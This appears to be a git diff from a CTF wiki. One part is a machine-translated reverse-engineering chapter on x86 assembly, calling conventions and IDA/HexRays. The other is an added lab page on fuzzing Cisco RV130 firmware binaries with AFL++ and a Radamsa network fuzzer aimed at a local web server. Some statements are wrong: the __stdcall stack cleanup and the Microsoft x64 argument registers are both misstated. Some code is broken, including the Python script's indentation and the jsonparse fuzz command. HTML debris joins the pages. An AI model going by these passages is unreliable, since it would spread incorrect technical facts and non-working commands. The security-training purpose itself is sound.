There is also a flag register in the CPU, where each bit indicates the value of the corresponding flag bit. The commonly used flag bits are as follows.

+

❖ AF: Auxiliary Carry Flag, set to 1 when the result of the operation is entered in the third bit.

+

❖ PF: Parity Flag, set to 1 when the lowest valid byte of the operation result has an even number of ones.

+

❖ SF: Sign Flag, set to 1 when the sign bit of the sign shaping is 1, representing that it is It means it is a negative number.

+

❖ ZF: Zero Flag, set to 1 when the operation result is all zeros.

+

❖ OF: Overflow Flag, set to 1 when the operation result is a signed number and overflows.

+

❖ CF: Carry Flag, set to 1 when the operation result is fed above the highest bit, used to determine the overflow of unsigned numbers.

+

The CPU can operate not only on registers, but also on memory cells, so there are many different addressing methods. Table 5-1-1 shows the different addressing methods of CPU, examples and the corresponding operation objects.

+

t511

+

It is easy to see that "[]" is equivalent to the "*" operator in C (indirect access).

+

In the x86/x64 architecture, the four addressing methods, namely register indirect addressing, base addressing, variable addressing, and base plus variable addressing, are almost identical in terms of the functions they achieve, but there are semantic differences. In the 16-bit era, these four addressing methods cannot be mixed. In modern compilers, the compiler will choose the appropriate addressing method based on semantics and optimization.

+

2. x86/x64 assembly language

+

The x86/x64 assembly language exists in two display/writing styles, Intel and AT&T, and this chapter will unify the Intel style.

+

What is machine code? What is assembly language? Machine code is a binary instruction executed directly on the CPU, and assembly language is a kind of helper for machine language, assembly language and machine code are one-to-one correspondence. Machine code varies according to CPU architecture. The most common CPU architectures for CTF and usual are x86 and x86-64 (x64).

+

The basic format of x86/x64 assembly instructions is as follows.

+

Where the presence or absence and form of operands is determined by the type of operand. Due to space limitation, this section cannot describe the format and functions of various instructions in an exhaustive manner. Table 5-1-2 gives the forms, functions, and corresponding high-level language writing methods of several common instructions. Entry-level CTF participants do not need to master how to write assembly language programs fluently, but only need to master the common instructions described below and be able to read and understand them when they encounter them.

+

t512

+

There are many conditional jump instructions in assembly language, and they will jump conditionally depending on the flag bits. A cmp instruction for comparison often exists before the conditional jump instruction and will set the flag bit accordingly based on the result of the comparison (the effect on the flag bit is equivalent to the sub instruction).

+

Table 5-1-3 shows the common conditional jump instructions and the cmp and flag bits they are based on.

+

t513

+

3. Disassembly

+

While high-level languages often require a complex compilation process, the assembly process simply translates the assembly statements directly into the corresponding machine code and places the statements directly adjacent to each other. Therefore, we can easily translate the machine code back to assembly language, and such a process is called disassembly.

+

As mentioned in Section 5.1.2, the assembly process also has information loss. Although we can easily parse and restore the content of a given instruction, we must know which data is machine code before we can parse it accordingly. The von Neumann architecture blurs the boundary of distinction between code and data, and jump tables, pools of constants (ARMs), ordinary constant data, and even malicious interference data may be interspersed in code sections. Therefore, simply and directly parsing instructions down one by one in succession is often problematic. We need to know the correct starting position of the instruction (e.g., label, which is used to indicate a location of the program for jumping and addressing) to guide the disassembly tool to parse the code correctly.

+

As mentioned above, the label information is lost during the assembly process. Because the label is used to identify the jump position, it determines where the program is likely to be executed when it is executed, i.e., where the assembly statement starts. Therefore, restoring the correct label information is essential to correctly restore the program execution flow.

+

In spite of the missing information, we can still successfully restore the program flow by using some algorithms. Two known algorithms are described below: the linear scan disassembly algorithm and the recursive descent disassembly algorithm.

+

The linear scan disassembly algorithm is simple and brute-force, parsing instructions one after another directly from the beginning of the code segment until the end. The disadvantage is that once data is inserted into the segment, all subsequent disassembly results are wrong and useless.

+

Instead of simply parsing the instructions and displaying them, the recursive descent disassembly algorithm is a new algorithm created after discovering the problems with the linear scan disassembly algorithm, which tries to speculate how the program will be executed after each instruction is executed. For example, a normal instruction will execute directly to the next one after execution, an unconditional jump instruction will immediately jump to the target location, a function call instruction will temporarily jump out and return to continue execution, a return instruction will terminate the current execution process, and a conditional jump instruction may split into two paths that go to different locations under different conditions. The engine first matches some known patterns (patterns) to the starting position, then traces the execution of the program one by one according to the execution pattern of the instructions, and finally disassembles the program completely.

+

4. Calling convention

+

As the size of the software increases, the number of developers continues to increase, the relationship between functions synchronization becomes more and more complex, if each developer uses different rules to pass function parameters, the program will often be a variety of unbelievable errors, the program maintenance costs will become very large. For this reason, after the advent of compilers, some conventions, called calling conventions, were created for compilers to specify the passing of arguments between functions. The common calling conventions are as follows.

+

(1) Calling convention for x86 32-bit architecture

+

❖ __cdecl: parameters are pressed onto the stack in order from right to left, and when the call is finished, the caller is responsible for cleaning up these pressed parameters and placing the return value in EAX. The vast majority of C programs for x86 platforms use this convention.

+

❖ __stdcall: The arguments are also pressed onto the stack from right to left, and the caller is responsible for cleaning up the pressed arguments after the call, with the return value also placed in EAX.

+

❖ __thiscall: A calling convention optimized specifically for class methods, which places the this pointer of the class method in the ECX register and then presses the rest of the arguments onto the stack.

+

❖\ __fastcall: A calling convention made for speeding up calls by placing the 1st argument in ECX, placing the 2nd argument in EDX, and then pressing the subsequent arguments onto the stack from right to left.

+

(2) Calling convention for x86 64-bit architecture

+

❖ Microsoft x64 bit (x86-64) calling convention: used on Windows, the first 4 parameters are put into the 4 registers RDI, RSI, RDX, RCX in turn, and then the remaining parameters are pressed into the stack from right to left.

+

❖ SystemV x64 calling convention: used on Linux, MacOS, two more registers than Microsoft's version, use the 6 registers RDI, RSI, RDX, RCX, R8, R9 to pass the first 6 parameters, and press the rest on the stack from right to left.

+

5. Local variables

+

When writing programs, programmers often use local variables. But in assembly there are only registers, stacks, writable segments and heaps, where should the local variables of a function exist? It is important to note that local variables are "volatile": once the function returns, all local variables become invalid. Given this property, local variables are stored on the stack, and each time a function is called, the program allocates a section of space on the stack to store the local variables.

+

Each function, when called, creates such a region for local variables, a region for storing return addresses, and a region for arguments, see Figure 5-1-2. The program calls the function one layer deeper, and each function's own region is stacked on the stack one layer at a time.

+

512

+

People call this area of each function itself a frame, and because these frames are on the stack, they are also called stack frames. However, the memory area of the stack is not necessarily fixed, and the location of the stack frames can vary with each call's path, so how can local variables be referenced correctly?

+

While the contents of the stack will always keep changing as it goes in and out of the stack, the offset of each local variable in a function relative to the stack frame of that function is fixed. So a register can be introduced to specifically store the location of the current stack frame, i.e., ebp, called the frame pointer. The program assigns ebp to a location in the middle of the stack frame during the function initialization phase, so that all local variables can be referenced with ebp. Since the parent function on the upper level also has to use ebp, it is necessary to save ebp at the beginning of the function and then assign ebp to the value of its own stack frame, such a flow is the classic combination in assembly code.

+

c511

+

The stack frame of each function now consists of four parts: local variables, the value of the parent stack frame, the return address, and the parameters. It can be seen that ebp, after initialization, actually points to the location where the address of the parent stack frame is stored. Therefore, *ebp forms a chain table representing a chain of function calls at one level.

+

With the development of compilation technology, the compiler can also refer to local variables by tracking the location of the stack at the time of each instruction execution, thus directly crossing over ebp and using the stack pointer esp instead. This saves the time needed to save ebp each time and adds a general-purpose register, thus improving program performance.

+

So now there are two kinds of functions: those with frame pointers, and those optimized without frame pointers. Modern analysis tools (e.g. IDA Pro, etc.) will use advanced stack pointer tracing methods to target these two types of functions so that local variables are handled correctly.

+

Introduction to common tools

+

This section introduces the tools commonly used in software reverse engineering, the specific use of tools will be described in subsequent sections.

+

1. IDA Pro

+

IDA (Interactive DisAssembler) Pro (hereinafter referred to as IDA) is a powerful executable analysis tool, including but not limited to x86/x64, ARM, MIPS and other architectures, PE, ELF and other formats of executable files for static analysis and dynamic debugging. IDA integrated Hex-Rays Decompiler, which provides decompiling functions from assembly language to C pseudocode, can greatly reduce the workload when analyzing the program, its interface is shown in Figure 5-1-3 and Figure 5-1-4.

+

513

+

514

+

2. OllyDbg and x64dbg

+

OllyDbg is an excellent debugger for Windows 32-bit environment and its most powerful feature is its extensibility. Many developers have developed plug-ins for it with various functions that can bypass many software protection measures. However, OllyDbg is no longer available in the 64-bit environment, and many people have therefore turned to x64dbg.

+

The interfaces of OllyDbg and x64dbg are shown in Figure 5-1-5 and Figure 5-1-6.

+

515

+

516

+

3. GNU Binary Utilities

+

The GNU Binary Utilities (binutils) is a chain of tools provided by GNU for binary file analysis. the tools included are shown in Table 5-1-4. Figure 5-1-7 and Figure 5-1-8 show examples of simple applications of the tools in binutils.

+

t514

+

517

+

518

+

4. GDB

+

GDB (GNU Debugger) is a command-line debugger provided by GNU, with powerful debugging functions and source-level debugging support for programs containing debugging symbols, as well as support for writing extensions using the Python language, and the extension plug-ins generally used are gdb-peda, gef or pwndbg. Figure 5-1-10 shows the command line interface when using the gef plugin.

+

519

+

5110

+

51102

+

Static Analysis

+

The most basic method of reverse engineering is static analysis, i.e., instead of running the binary program, various information such as machine instructions in the program files are analyzed directly. At present, the most commonly used tool for static analysis is IDA Pro. This section introduces the general method of static analysis based on the use of IDA Pro.

+

Getting Started with lDA

+

The code file required for this section is 1-helloworld.

+

1. open the file

+

IDA Pro is one of the industry's most mature and advanced disassembly tools, using a recursive descent disassembly algorithm, this section will initially introduce the use of IDA Pro.

+

IDA's interface is very simple, after installation will pop up the license agreement (License) window, follow the interface prompts to enter the Quick Start interface, see Figure 5-2-1.

+

521

+

In the interface, click the "New" button, and in the pop-up dialog box to select the file to open, you can also click the "Go" button, and then drag and drop the file into the open interface, or by clicking the " Previous" button, double-click the list item, etc. to quickly open the previously opened file.

+

Note that you need to select the correct architecture version (32bit/64bit) before opening the file. Users can use tools such as file to view the architecture information of the file, but a more convenient solution is to open a random architecture of IDA, and then you can know the architecture information of the file when loading, see Figure 5-2-2, IDA shows that the file is an x86-64 architecture ELF64 file, so switch to the 64bit version of IDA to open again, after opening the pop-up will be "Load a new file" dialog box.

+

522

+

2. Load a file

+

The options in the "Load a new file" dialog box are mainly for advanced users, beginners can use the default settings, do not need to change, click the "OK" button, load the file into the IDA. Click the "No" button to enter the normal disassembly interface. At this point, IDA will generate a database (IDB) for the file, the entire file required content into it, see Figure 5-2-3. later analysis will no longer need to access the input file, the various changes to the database will also be independent of the input file.

+

The interface in Figure 5-2-3 is divided into several parts, which are described below.

+

❖ Navigation bar: Shows the distribution of different types of data (ordinary functions, code of undefined functions, data, undefined, etc.) of the program.

+

❖ Main window of disassembly: Displays the result of disassembly, control flow diagram, etc., which can be dragged, selected, etc.

+

❖ Function window: displays all function names and addresses (drag the scroll bar below to see them), and can be filtered by Ctrl+F key combination.

+

❖ Output window: display the log of IDA during running, you can also enter commands in the input box below and execute them.

+

❖ Status Indicator: Showing as "AU: idle" means IDA has finished the automated analysis of the program.

+

In the disassembly window, use the right-click menu or the shortcut key space to switch between control flow diagram and text interface disassembly, see Figure 5-2-4.

+

523

+

524

+

3. Data Type Operation

+

One of the highlights of IDA is that the user can freely control the flow of disassembly through interface interaction. In the process of loading the file, IDA has done its best to automatically define the type of a large number of locations for the user, such as IDA correctly labeled most of the data in the code segment as code type and disassembled it, and labeled some of the locations in the special segment as 8-byte integer qword. however, IDA's ability is limited and generally does not correctly label all data types, and the user can correct the problems with IDA by correctly defining the type of a 1-byte or segment area for better disassembly work.

+

Lower versions of IDA do not have an undo function, so you need to be careful before operating and to master the opposite operation corresponding to these operations.

+

The user can distinguish the type of data in a location by the color of the address. The location marked as code, its address will be shown in black; the location marked as data, gray display; undefined data type location will be shown in yellow, black box location that is the different color address, see Figure 5-2-5.

+

525

+

The following are some of the shortcut keys for the defined data types. When using these shortcut keys, you need to have the focus (cursor) on the corresponding line in order for them to take effect.

+

❖ U (Undefine) key: This is to cancel the existing data type definition in a place, and a confirmation dialog box will pop up.

+

❖ D (Data) key: i.e., make a certain position into data. IDA to prevent misuse, if the operation of defining data will affect the location of the existing data type, IDA will pop up a confirmation dialog box; if the operation of location and its vicinity are completely Undefined, the confirmation dialog box will not pop up.

+

❖ C (Code) key: i.e., make a location into a command. The timing of the confirmation dialog pop-up is also similar to the D key. After being defined as a command, IDA will automatically use this as the starting position for recursive descending disassembly.

+

Above are the basic shortcuts for defining data. To cope with the increasing complexity of data types, IDA also has various built-in data types, such as arrays, strings, etc.

+

❖ A (ASCII) key: It will define a string type ending with "\0" starting from this position, see Figure 5-2-6.

+

526

+

❖ * key: Define this as an array, and then a dialog box will pop up to set the properties of the array.

+

❖ O (Offset) key: Define this as an address offset, see Figure 5-2-7.

+

527

+

4. Function Operation

+

In fact, disassembly is not completely continuous, but rather a patchwork of scattered individual functions. Each function has local variables, calling conventions and other information, and control flow diagrams can only be generated and displayed in terms of functions, so it is also very important to define functions correctly. IDA also has operations for handling functions.

+

❖ Delete a function: After selecting a function in the function window, press Delete.

+

❖ Define a function: After selecting the corresponding line in the disassembly window, press P.

+

❖ Modify function parameters: Select and press the Ctrl+E key combination in the function window, or press Alt+P key combination inside the function in the disassembly window.

+

After defining the function, IDA can perform many function-level analyses, such as call convention analysis, stack variable analysis, function call parameter analysis, etc. These analyses are of direct and great help to restore the high-level semantics of disassembly.

+

5. Navigation

+

Although it is possible to switch between different functions by mouse clicks, as the size of the program increases, it seems unrealistic to use this way to locate them. î IDA has the function of navigation history, similar to Explorer and browser history, which allows you to go back or forward to a certain browsing place.

+

❖ Go back to the previous location: shortcut Esc.

+

❖ Go forward to the next location: shortcut Ctrl+Enter.

+

❖ Jump to a specific location: shortcut G, then you can enter the address/already defined name.

+

❖ Jump to a particular zone: shortcut Ctrl+S, and then you can select the zone.

+

6. Type manipulation

+

IDA has developed a type analysis system to handle various data types (function declarations, variable declarations, structure declarations, etc.) of C/C++ language and allows users to specify them freely. This definitely makes the reduction of disassembly more accurate. Select the variable, function and press Y, "Please enter the type declaration" dialog box, enter the correct C type, IDA can parse and automatically apply the type.

+

7. IDA mode of operation

+

IDA shortcut key design has a certain pattern, so we can strengthen the memory of the shortcut key, so that the reverse speed faster and more comfortable.

+

Here are some operation patterns and learning techniques summarized in the usual practice.

+

❖ Various operations in IDA's disassembly window will have different functions when selected and when unselected. For example, the operation corresponding to the shortcut key C can specify the scan area for recursive descending disassembly when the disassembly window is selected.

+

❖ Some of the shortcut keys in IDA's disassembly window have different functions when used multiple times. For example, the shortcut key O will resume the first operation when used a second time on the same location.

+

❖ IDA's right-click shortcut menu will be labeled with various shortcut keys.

+

❖ IDA's dialog box buttons can be replaced by mouse clicks by pressing their initials (e.g. the "Yes" button can be replaced by mouse clicks by pressing the Y key).

+

We can master these patterns to quickly learn IDA shortcuts, and basically do not need to press the control keys (Ctrl, Alt, Shift) shortcut features make IDA operation more interesting.

+

8. IDAPython

+

IDAPython is a Python environment built into IDA, you can perform a variety of database operations through the interface, it can now execute most of the C++ functions in the IDA SDK and all IDC functions, it can be said to have both the convenience of IDC and the power of the C++SDK.

+

Press Alt+F7 key combination, or select "File→Script file" menu command, you can execute Python script files; output window also has a Python Console box, you can temporarily execute Python statements; press Shift+F2 key combination, or Select the "File→Script command" menu command to open the script panel, and change "Scripting language" to "Python ", you can get a simple editor, see Figure 5-2-8.

+

528

+

9 IDA's other functions

+

IDA's menu bar "View→Open subviews" can open various types of windows, see Figure 5-2-9.

+

529

+

Strings window: press Shift+F12 to open it, see Figure 5-2-10, you can identify the strings in the program, double-click to locate the target string in the disassembly window.

+

5210

+

Hexadecimal window: Opened by default, you can press F2 to modify the data in the database, and press F2 again to apply the changes after modification.

+

Getting Started with HexRays Decompiler

+

The basic operations of IDA introduced in section 5.2.1 are to allow IDA to correctly identify the data types and functions of a location. These operations partially restore the information loss caused by the linker and assembler mentioned in the executable (see section 2.4.7). The decompiler presented in this section will try to restore the information loss caused by the compiler and continue to restore the functions composed of these assembly instructions to a read-friendly form. Therefore, getting the decompiler to work correctly requires the correct definition of data types and the correct identification of functions.

+

This section introduces HexRays Decompiler (HexRays for short), the world's most advanced and sophisticated decompiler that is publicly available. HexRays runs as a plug-in to IDA and is developed by the same company as IDA and has a strong connection to IDA. hexRays makes full use of the function local variables and data types determined by IDA, and generates C-like pseudocode after optimization. Users can browse the generated pseudocode, add comments, rename identifiers, modify variable types, switch the data display format, etc.

+

1. generate pseudocode

+

To use this plug-in, you need to let it generate pseudocode. The operation required to generate pseudocode is very simple, just locate the target function in the disassembly window and press the F5 key. Once the plug-in is running, a window will open showing the decompiled pseudocode, see Figure 5-2-11. Selecting the list of functions on the left side allows you to switch to a different function without returning to the disassembly window.

+

When the cursor moves to identifiers, keywords, and constants, the same content in other positions will be highlighted for easy viewing and operation.

+

2. Pseudocode Composition

+

The pseudocode generated by HexRays has a certain structure. After decompiling each function, the first line is the prototype of the function, then the declaration area of local variables, and finally the statements of the function.

+

The upper part of this is the variable declaration area. Sometimes the area for larger functions can be too long to read and can be collapsed by clicking "Collapse declaration".

+

Note that the comments following each local variable actually represent the location of that variable. This information will make it easier to understand the behavior of the corresponding assembly code.

+

In addition, most of the variable names in the pseudocode are automatically generated and may vary from machine to machine or from version to version of IDA.

+

3. Modify Identifiers

+

Looking at the IDA generated pseudocode 2-simpleCrackme.c (see Figure 5-2-12), you can see that HexRays is very powerful and has automatically named many variables. However, the names of these variables have no real meaning, and as the size of the function becomes larger, meaningless variable names will seriously affect the analysis efficiency. Therefore, HexRays provides users with the ability to change the name of an identifier: move the cursor to the identifier and press N to bring up the Change Name dialog box, enter a legal name in the input box, and click the OK button. The modified pseudo-code is easier to read and analyze.

+

5211

+

Note: IDA generally allows the use of identifiers in line with the C language syntax, but will be used as a reservation of certain prefixes, in the manual specification of the name, such a prefix can not be used, please readers are prompted to change the name after being prompted for errors.

+

4. switch the data display format

+

After renaming, the 2-simpleCrackme.c pseudocode has been restored to be similar to the source code (see Figure 5-2-12). However, many constants are not displayed in the correct format, for example, 0x66 in the source code becomes decimal number 102, and 'a' and 'A' are converted to their ASCII counterparts of decimal numbers 97 and 65.

+

5212

+

HexRays is not powerful enough to automatically label these constants, but HexRays provides the ability to display constants into various formats. Move the cursor over a constant and right-click to select the corresponding format in the pop-up shortcut menu, see Figure 5-2-13.

+

5213

+

❖ Hexadecimal: Hexadecimal display, with the shortcut key H, can convert various other display formats back to numbers.

+

❖ Octal: Octal display.

+

❖ Char: Converts constants to a format shaped like 'A', the shortcut key is R.

+

❖ Enum: Converts a constant to a value in an enumeration, the shortcut key is M.

+

❖ Invert sign: convert a constant to a negative number by its complement, the shortcut key is _.

+

❖ Bitwise negate: Invert the constant by bit, like ~0xF0 in C language, the shortcut key is ~. +After the manual operation to convert some display format, the decompiled pseudocode is more consistent with the source code, see Figure 5-2-14.

+

5214

+

HexRays shortcuts are sometimes not triggered, try using the right-click shortcut menu when it fails.

+

5. Modifying Variable Types

+

The companion file to this section is 2-simpleCrackme_O3. After compiler optimization, the difficulty of recovering the semantics increases exponentially. Even though HexRays are extremely powerful, they often have problems in the face of complex compiler optimizations.

+

This section uses the executable generated by compiling with the GCC compiler with the O3 optimization switch turned on. The same source code undergoes a complex compiler optimization process and the resulting pseudocode can change quite a bit, see Figure 5-2-15.

+

5215

+

The pseudocode converts some constants at the beginning to display format, which is the middle part of the string in the program stored as dword and qword, respectively. In fact, the original string assignment operation has become 128-bit floating-point assignment + 64-bit qword assignment + 32-bit dword assignment. HexRays thus identifies the string array as three variables: v6 of type __m128i, v7 of __int64, and v8 of int, resulting in poor readability of the pseudocode generated later.

+

Hint: byte-1 byte integer type, 8 bits, char, __int8.

+

word-2 byte integer, 16 bits, short, __int16.

+

dword-4-byte integer, 32 bits, int, __int32.

+

qword-8-byte integer, 64 bits, __int64, long long.

+

The variables v6, v7, v8 are actually entire arrays of strings. If the user can correctly specify the type of the variables, the accuracy and readability of decompiling will be greatly improved.

+

HexRays makes full use of the type analysis system of IDA introduced earlier. Press Y on the identifier of the type to be modified to bring up a dialog box to modify the type. For this program, according to the calculation, the 3 variables should actually be a char array of length 28 (16+8+4) starting with v6, so its corresponding C type declaration is char[28] (the identifier can be omitted in the type declaration).

+

Then move the cursor to v6, press Y, type "char[28]", and a confirmation dialog box will pop up whether to overwrite the subsequent variables, click the "Yes" button.

+

Rename these variables again, and you can get the readable pseudo-code, see Figure 5-2-16.

+

5216

+

HexRays supports not only type modification of local variables, but also parameter types, function prototypes, global variable types, and so on. In fact, HexRays supports not only these simple types, but also C types such as structures and enumerations. Press Shift+F1 key combination to bring up the Local Types window, from which you can manipulate various types of C: press Insert, or right-click to bring up the Add Type dialog box, see Figure 5-2-17, from which you can enter a type that conforms to the simple syntax of C, and then IDA will parse and store the type. In addition, press Ctrl+F9 key combination or select "File→Load File→Parse C header file" menu command, you can load the C language header file.

+

5217

+

After adding custom types, HexRays will automatically perform the corresponding parsing operations according to the types when setting variable types, such as displaying access to structures, displaying enumerations, etc.

+

Various cases of type recognition errors may occur during the reverse process, and we need to use our experience in C programming to set variables such as structures, normal pointers, structure pointers, and integers correctly.

+

In general, HexRays can increase the length of a variable by force (e.g., char[28] as mentioned above), but when changing a long variable to a short one, the alarm will often be "Sorry, can not change variable type" (e.g., change char[28] above to char[27]), so you need to be careful when changing a long variable to a shorter one. If you inadvertently modify the error, you can delete the function and then define the function to reset the various information of the function

+

6. Complete the analysis

+

After fine-tuning the pseudo-code to a level suitable for your reading, you can start the analysis. Obviously, this program implements the imitation projection cipher, and the method of finding the inverse is very simple, so I will not repeat it, and ask the reader to complete the decryption by himself.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/Lab 6 IoT Security and Wireless Exploitation/index.html b/CS315/Lab 6 IoT Security and Wireless Exploitation/index.html new file mode 100644 index 000000000..8148f90dd --- /dev/null +++ b/CS315/Lab 6 IoT Security and Wireless Exploitation/index.html @@ -0,0 +1,8697 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Lab 6: IoT Security and Wireless Exploitation - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

Lab 6: IoT Security and Wireless Exploitation

+

Fuzzing IoT binaries with AFL++ - Part I

+

AFL lives at https://lcamtuf.coredump.cx/afl/. It hasn't been updated in a while. While AFL still works fine, there's a new project AFL++, a fork of AFL with lots of improvements and new features. AFL++ can be found at https://aflplus.plus/ with its source on GitHub. This article will look at using AFL++ to fuzz IoT binaries.

+

Fuzzing works best when we have the source code of the binary in question. Unfortunately for IoT binaries, this is often not the case. AFL++ (and AFL) ships with a companion tool (afl-gcc, afl-clang, etc) that works as a drop-in replacement to gcc, clang, or any other standard build tool. The tool is used to inject instrumentation in the generated binaries while compiling the source code. The instrumented binaries can then be fuzzed using afl-fuzz.

+

Fuzzing closed-source applications is tricky. For fuzzing such binaries, AFL++ can use Qemu, unicorn, or Frida and are named qemu mode, unicorn mode, and Frida mode respectively. These are binary-only instrumentation modes and are not as efficient as the source code instrumentation modes. We will be using Qemu mode in this article.

+

In Qemu mode, AFL++ uses qemu user mode emulation to run the binary. It uses a modified version of Qemu which instruments the basic blocks as the program executes. The instrumentation information thus generated is used to generate new test cases which trigger different code paths improving code coverage. AFL++ in qemu mode can also be used to instrument foreign arch binaries (like an arm binary on an x86_64 host). This is extremely useful for fuzzing IoT firmware binaries which are usually of ARM or MIPS architecture.

+

An important point to note is that AFL++ and similar fuzzers (AFL, hongfuzz, radamsa[test case generator only]) only work with file inputs That is the program must only receive the fuzzed input from a file. Programs that take in input from a socket are not supported.

+

For fuzzing socket-based programs we can take either of the following approaches:

+
    +
  • If the application's source code is available, rewrite the application to accept input from a file. Most of the time rewriting the entire application isn’t necessary. We can code in a small test function that reads in a file and uses the data to call another function that we want to fuzz.
  • +
  • For closed-source apps, rewriting the source isn’t an option. In such cases, there are hacks to convert a socketed binary to use files instead. These methods usually use LD_PRELOAD to override socket functions and make them read/write from a file instead. Preeny and desockmulti are two such desocketing tools. However, these may not always work out of the box.
  • +
+

Compiling AFL++

+

AFL++ can be compiled on any Linux system. Here we are using an Ubuntu 20.04 LXD container. The steps are as follows:

+
$ sudo apt update
+$ sudo apt install git make build-essential clang ninja-build pkg-config libglib2.0-dev libpixman-1-dev
+$ git clone https://github.com/AFLplusplus/AFLplusplus
+$ cd AFLplusplus/
+$ make all
+$ cd qemu_mode
+$ CPU_TARGET=arm ./build_qemu_support.sh
+
+

Fuzzing simple IoT binaries

+

We will be using a firmware for the Cisco RV130 VPN router which can be downloaded from https://software.cisco.com/download/home/285026141/type/282465789/release/1.0.3.55?i=!pp. The file is named RV130X_FW_1.0.3.55.bin

+

After extracting the binary using binwalk the extracted file system looks like

+

imgExtracted filesystem of Cisco RV130X firmware binary

+

We will be looking at fuzzing the jsonparse and xmlparser1 binary in /usr/sbin/. These programs accept input from a file and are ideal for fuzzing. We don’t have the source available so we have to use Qemu mode.

+

img

+

Fuzzing xmlparser1

+

Before fuzzing we need to know how the program accepts input. Running xmlparser1 with qemu-arm-static with the –help parameter shows the usage. It accepts a filename with the -f parameter. The -d parameter stands for debugging.

+

img

+

We can create a test XML file and run xmlparser1.

+

img

+

xmlparser1 displays the parsed contents of the test.xml file. We may now proceed to fuzz. To run the fuzzer we need to give an input file that the fuzzer will use to generate further test cases. We will specify test.xml as our input file.

+

Create two directories input-xml and output-xml and move the test.xml file to input-xml as shown.

+

img

+

We can now launch afl-fuzz

+

img

+
$ QEMU_LD_PREFIX=./squashfs-root/ ../AFLplusplus/afl-fuzz \
+            -Q \
+            -i input-xml/ \
+            -o output-xml/ \
+            -- ./squashfs-root/usr/sbin/xmlparser1 -f @@
+
+

The options are explained below:

+
    +
  • -Q: Use AFL++ in Qemu mode
  • +
  • -i: The path to the input directory
  • +
  • -o: The path to the output directory. This directory will contain files that trigger an interesting behavior on the binary such as a crash or hang
  • +
+

Everything after the double hyphen (--) specifies the target program to run along with its arguments. The @@ parameter stands for the filename. At runtime, AFL++ will replace the @@ parameter with the name of the input file.

+

The fuzzing session starts as shown below. We can press Ctrl+C anytime to exit.

+

img

+

In our brief test, AFL++ wasn’t able to crash the application.

+

Fuzzing jsonparse

+

Jsonparse is a similar binary but it parses JSON files instead of XML. Running the program without any arguments displays its usage.

+

img

+

We can create a test JSON file and run jsonparser on it.

+

img

+

We can use the same test.json file as input to the fuzzer. In a similar way, create two directories named input-json and output-json with test.json in directory input-json.

+

img

+

We can run the fuzzer as shown:

+

img

+
$ QEMU_LD_PREFIX=./squashfs-root/ ../AFLplusplus/afl-fuzz \
+            -Q \
+            -i input-json / \
+            -o output-json / \
+            -- ./squashfs-root/usr/sbin/jsonparser @
+
+

After fuzzing for a couple of minutes, there are two unique crashes already.

+

img

+

Let’s explore the output-json directory to have a look at the files which crashed jsonparser.

+

img

+

The two files which triggered the crashes are in the output-json/default/crashes directory.

+

img

+

img

+

To cross-check, we can run jsonparser with one of the generated files.

+

img

+

Jsonparser indeed crashes with a segfault. From here on, the next steps are to identify the root cause of the bug and check if it's exploitable. Not all crashes are exploitable. Triaging the crash is out of the scope of this post.

+

Fuzzing web

+

In this post, we will be looking at socketed binaries. Fuzzing binaries that communicate over the network using sockets are different from fuzzing binaries that use file-based I/O. Vanilla AFL and AFL++ don’t support fuzzing socketed binaries although there have been projects such as AFLNet and AFLNW which use modified versions of AFL for the same. Here, however, we will see how to use plain AFL++ to fuzz network programs. The httpd binary at /usr/sbin/httpd is the web server for the firmware and can be used as a candidate for fuzzing.

+

We can launch httpd with sudo as shown. Sudo is needed to bind on port 80.

+

img

+

Note that qemu is started from within the www/ directory as this is where the web resources (html, css, js files) are. Although it shows a bind error, running netstat confirms that httpd is indeed listening on port 80.

+

img

+

We can open http://127.0.0.1 to cross-check that the web interface is accessible.

+

img

+

The web interface can also be accessed using curl.

+

img

+

Using an intercepting proxy such as Burp Suite, we can view the actual HTTP requests that are being sent. Trying to log in to the dashboard with the credentials admin:123456 results in a POST request as shown.

+

img

+

In the image above we are running the webserver over port 8080 (rather than 80) by appending -p 8080 to the qemu command line.

+

From here on, the idea is to modify this base request using the fuzzer in subtle ways such that it crashes the web server.

+

The naive way is to send actual requests over the network. However, this would be slow. The smarter and recommended way is to make the webserver read the HTTP request data from a file. We will look at both ways.

+

Naive fuzzing using Radamsa

+

Radamsa is not a fuzzer. It's a test case generator that reads in a file and modifies it in subtle ways. How to use the modified output is up to us. Here we will send the output from the file to the running web server.

+
# fuzz-radamsa.py
+import socket
+import pyradamsa
+
+base_login_request = open("base-login-request.txt", "rb").read()
+
+rad = pyradamsa.Radamsa()
+i = j = 0
+
+while True:
+    # Create a modified request based on the base request
+    fuzzed_request = rad.fuzz(base_login_request)
+
+    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+    # 1 second timeout
+    sock.settimeout(1)
+
+    sock.connect(("127.0.0.1", 8080))
+
+    j += 1
+    print(f"[+] Request {j} - ", end="")
+
+    sock.sendall(fuzzed_request)
+    try:
+            sock.recv(50000)
+        print("OK")
+    except Exception as ex:
+            i += 1
+            open(f"interesting/{i}.txt", "wb").write(fuzzed_request)
+            print(f" {ex} -> saved to {i}.txt")
+       sock.close()
+
+

The code above uses Radamsa to generate modified request data using the base login request. This data is then sent over the socket to the web server running at port 8080. If the server doesn’t respond within 1 second, the input is saved to a file in the interesting directory.

+

We can run the fuzzer as shown.

+

img

+

Request 3 timed out while responding and the corresponding input was saved to 1.txt. Note that a timeout is not the same as a crash. Had the server crashed on request 3, further requests wouldn’t be successful. Fuzzing this way is highly inefficient, slow, and error-prone and would often lead to false positives.

+

Fuzzing with AFL++

+

As discussed before, to fuzz with AFL, the program must accept input from a file. We do not have the source code of httpd which we can modify for our purpose. Hence we have to resort to binary-level modifications, such as patching the assembly instructions and LD_PRELOAD tricks. Using the latter we can override network functions in libc to make them accept input from a file instead. The desockmulti project on GitHub can be used for this purpose.

+

Before showing how to use desockmulti, we need to make a few modifications of our own. The httpd binary currently forks to the background using the daemon function. We do not want this forking behavior during fuzzing.

+

img

+

We need to override the daemon such that it returns 0 without forking actually. This can be done both with LD_PRELOAD or by patching the assembly instructions.

+

